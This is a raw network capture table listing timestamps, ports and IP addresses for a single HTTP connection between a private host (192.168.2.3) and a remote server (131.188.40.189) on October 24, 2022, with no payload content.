Oct 24, 2022 11:08:53.744074106 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.744261980 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.764605999 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.764859915 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.764883041 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.764904022 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.764921904 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.764941931 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.764965057 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.764996052 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.765003920 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.765026093 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.765038013 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.765048981 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.765069008 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.765078068 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.765156984 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.785578012 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785614014 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785634041 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785651922 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785670042 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785689116 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785707951 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785728931 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785732031 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.785749912 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785768032 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785779953 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.785789967 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785809040 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785809994 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.785828114 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785831928 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.785846949 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785866022 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785878897 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.785883904 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785902023 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785913944 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.785921097 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785933018 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.785942078 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785962105 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.785976887 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.786019087 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.806531906 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806566954 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806586027 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806606054 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806623936 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806644917 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806648970 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.806663036 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806682110 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806694031 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.806700945 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806720972 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806725025 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.806739092 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.806741953 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806761980 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806772947 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.806781054 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806799889 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806818008 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806818962 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.806838036 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.806838036 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806859970 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806895971 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806915045 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806932926 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806950092 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806968927 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.806968927 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.806989908 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807003975 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.807008982 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807029963 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807048082 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807053089 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.807065964 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807084084 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807091951 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.807104111 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807105064 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.807121992 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807131052 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.807141066 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807159901 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807167053 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.807180882 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807199001 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807202101 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.807219028 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807238102 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807255983 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807272911 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.807275057 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807292938 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807312012 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.807324886 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.807348013 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.807466030 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.827723980 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828030109 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828057051 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828083038 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828109026 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828109980 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828135967 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828149080 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828162909 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828186989 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828268051 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828298092 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828319073 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828327894 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828357935 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828376055 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828386068 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828417063 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828429937 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828444958 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828471899 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828491926 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828500986 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828531981 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828558922 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828567028 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828589916 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828598976 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828618050 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828645945 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828660011 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828674078 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828701973 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828717947 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828732967 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828763962 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828783035 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828793049 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828820944 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828838110 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828847885 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828876019 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828888893 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828905106 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828932047 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828946114 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.828960896 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.828988075 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829013109 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.829013109 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829041958 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829056025 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.829068899 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829097033 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829112053 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.829123974 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829150915 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829164028 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.829176903 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829206944 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829217911 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.829233885 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829262018 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829284906 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.829288960 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829317093 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829329967 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.829343081 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829371929 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829385042 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.829399109 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829426050 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829452991 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.829452991 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829482079 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.829624891 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.848577976 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.848637104 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.848711014 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.849872112 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.849925995 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.849957943 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.849988937 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850013018 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850018024 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850049019 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850079060 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850097895 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850111961 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850142956 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850169897 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850191116 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850197077 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850225925 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850228071 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850255966 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850256920 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850285053 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850306034 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850313902 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850347996 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850372076 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850378990 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850408077 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850430965 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850435019 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850461960 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850491047 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850492954 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850521088 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850538969 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850548029 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850569963 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850594997 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850604057 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850625038 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850652933 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850656986 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850682974 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850711107 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850712061 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850740910 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850768089 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850769997 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850799084 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850825071 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850830078 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850860119 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850898981 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850903034 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850934029 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850961924 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.850961924 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.850987911 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.851011992 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.851016045 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.851046085 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.851073027 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.851100922 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.851123095 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.869266033 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.869328022 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.869364023 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.869391918 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.869421959 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.869441032 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.869445086 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.869471073 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.869529009 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.869601965 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.871436119 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871475935 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871543884 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871575117 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871602058 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871608019 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.871628046 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871648073 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.871664047 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871692896 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871711016 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.871714115 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871738911 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871751070 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.871766090 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871798992 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871824980 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871824980 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.871851921 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871864080 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.871880054 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871906996 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871912956 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.871933937 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871957064 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.871958971 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871980906 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.871999979 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872018099 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872018099 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.872036934 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872056007 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872062922 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.872073889 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872093916 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872109890 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.872113943 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872123957 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.872134924 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872154951 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872159958 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.872174025 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872194052 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872212887 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872221947 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.872232914 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872252941 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872267008 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.872273922 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.872292995 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.872329950 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.889951944 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.889983892 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890007019 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890029907 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890048981 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890045881 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.890069008 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890089035 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890089989 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.890108109 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890113115 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.890127897 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890147924 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890162945 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.890167952 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890189886 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890202999 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.890211105 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890232086 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890250921 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890249968 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.890274048 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.890292883 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.890321016 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.892981052 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893042088 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893079042 CEST	80	49692	131.188.40.189	192.168.2.3
